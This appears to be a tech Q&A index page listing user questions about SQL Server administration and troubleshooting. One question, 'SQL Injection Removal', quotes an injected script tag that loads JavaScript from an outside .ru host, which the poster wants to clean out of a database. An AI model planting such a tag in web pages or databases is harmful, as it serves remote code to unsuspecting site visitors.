• Tracking Table Changes SQL Server 2005

    Is there a SQL Server 2005 script that would give all the table_names in a database, the last time they were updated and by whom? I've gotten as far as: select name, modify_date from sys.tables order by name but I can't figure out the "user" part.

    VelameLaCosa110 pointsBadges:
  • How to create a temporary table in sql 2005 via SSIS


    NewBee7105 pointsBadges:
  • Connect SQL Server 2005 Express db to Visual Basic 2005 Express

    I get an error "Generating user instances in SQL Server is disabled. Use sp_configure 'user instances enabled' to generate user instances. I run the store procedure on SQL Server and it looks like it worked, but "Test Connection" gives me the same error. What can I do to resolve this error?

    Dhanson20 pointsBadges:
  • Copy old database as new

    Sir, I have SQL server 2003 Ex i have A database and closed the fincial year for new year entry totally new transaction i want create same databse New name B and then blank the record for new transaction pldase help me kishor.aware@rediffmail.com

    Krrish25 pointsBadges:
  • Upgrading RAM on SQL Server 2000

    We use Windows 2003 Server Enterprise Edition and SQL Server 2000 Enterprise Edition. We use the /3GB switch in the boot.ini in an attempt to use more memory, and we are considering upgrading to 8GB of total RAM on our server. Could this negatively impact us at all?

    SQL Server Ask the Experts2,585 pointsBadges:
  • Upgrading clustered SQL 2005 64 bit standard to enterprise

    Does anyone have any steps on how to upgrade a clustered SQL 2005 64 bit standard edition to a clustered 64 bit enterprise edition ??

    Gazzer5 pointsBadges:
  • Achieving merge replication with SQL Express 2005


    SQL Server Ask the Experts2,585 pointsBadges:
  • Update in SQL

    I have a flat file which I want to update starting from position 2 to 4. I used below UPDATE statement: UPDATE FLAT_FILE SET SUBSTR(FLAT_FILE,2,2)= 'AA' WHERE SUBSTR(FLAT_FILE,1,2) = 'HH' The above SQL Query is throwing an error SQL0104 for missing token. Can anybody suggest me on the above. Thank...

    Vids295 pointsBadges:
  • Resetting the database

    I received the following error:RMAN-20042: invalid tablespace creation change# when i dried reseting the database after doing a restore from an Rman backup. I tried to unregister the database than register it back in rman but the problem still exist and getting the following even when i try to...

    Oradbsm5 pointsBadges:
  • Why do IT projects fail?-3


    Dbrazeau10240 pointsBadges:
  • Lowering a high average disk queue length on a SQL Server

    We have a small table on our SQL Server with a high Avg. Disk Queue Length. The typical methods to fix this, such as fragmentation for the indexes and reorganizing the indexes, do not help. What other solutions are there?

    SQL Server Ask the Experts2,585 pointsBadges:
  • Using SQL Profiler to identify the cause of data loss

    We have a SQL database where a table is having information vanish. We plan to use SQL Profiler to identify the cause of this sudden data loss. When using SQL Profiler, what counters should be captured? Also, what trace format should be used?

    SQL Server Ask the Experts2,585 pointsBadges:
  • Defining SQL Server error messages

    We’ve been receiving these error messages in our SQL Server logs: 09/14/2008 00:57:05,spid73,Unknown,The SAM has stopped processing. 09/14/2008 00:57:05,spid73,Unknown,Error: 61000<c/> Severity: 16<c/> State: 1. What might they mean?

    SQL Server Ask the Experts2,585 pointsBadges:
  • Error message on an instance on SQL Server 2005

    I have three instances on one server running SQL Server 2005. Two of them are working OK, but the other one is giving me an error message that says it cannot load xpstar.dll. What might the problem be?

    SQL Server Ask the Experts2,585 pointsBadges:
  • Multiple users with access to a table in SQL Server 2005

    If more than one user can put in a BEGIN TRAN statement, along with being able to update records, of the same table on SQL Server 2005, what will be the rollback results?

    SQL Server Ask the Experts2,585 pointsBadges:
  • SQL Injection Removal

    How can i remove all instances of the following from my database? <script src=http://www.jic2.ru/script.js></script> thanks Bosco

    Bosco32225 pointsBadges:
  • SAP 4.6c migration from MS SQL 2000 to IBM iOS DB2 database

    Hi I need to investigate the work load required to migrate SAP4.6C HR from a MS SQL2000 database to a Integrated DB2 IBM i OS Database? Is there tools available for this ? any information will be beneficial Thanx from a system i techie that know nothing about SAP!lol

    IEnter5 pointsBadges:
  • Deleting a Row

    I have been tring to remove this one row, but cannot. I keep getting this error. Microsoft SQL ServerManagement Studio No Rows were deleted A problem occurred attempting to delete Row 1. Error Service: netSQLClient Data Provider. Error Message string or binary date would be truncated. The statement...

    Bosco32225 pointsBadges:
  • How do I configure SQL 2005 to use 22GB RAM on a Server with 24 GB RAM running Windows 2003 EE ?

    We have Windows 2003 Enterprise Edition (32bit) running on a IBM Quad Core Xeon Dual processor system with 24 GB RAM. The same server runs SQL 2005 with SP2. How do I configure SQL Server to use the maximum RAM say upto 22GB RAM ?

    Ravikswamy35 pointsBadges:
  • Job Database Mail to Sharepoint Server Entry

    Hi.... I want to do ... SQL schedule Job database mail to sharepoint server entry,,, Any idea to show the way. Coz I'm very new to sharepoint server. And I'm using SQL Server 2005 64 bit. Schedule Job database mail is currently working properly and I want to send these mail to SharePoint Server....

    AYZTUN5 pointsBadges:

Forgot Password


Your password has been sent to:

To follow this tag...


REGISTER or login:

Forgot Password?
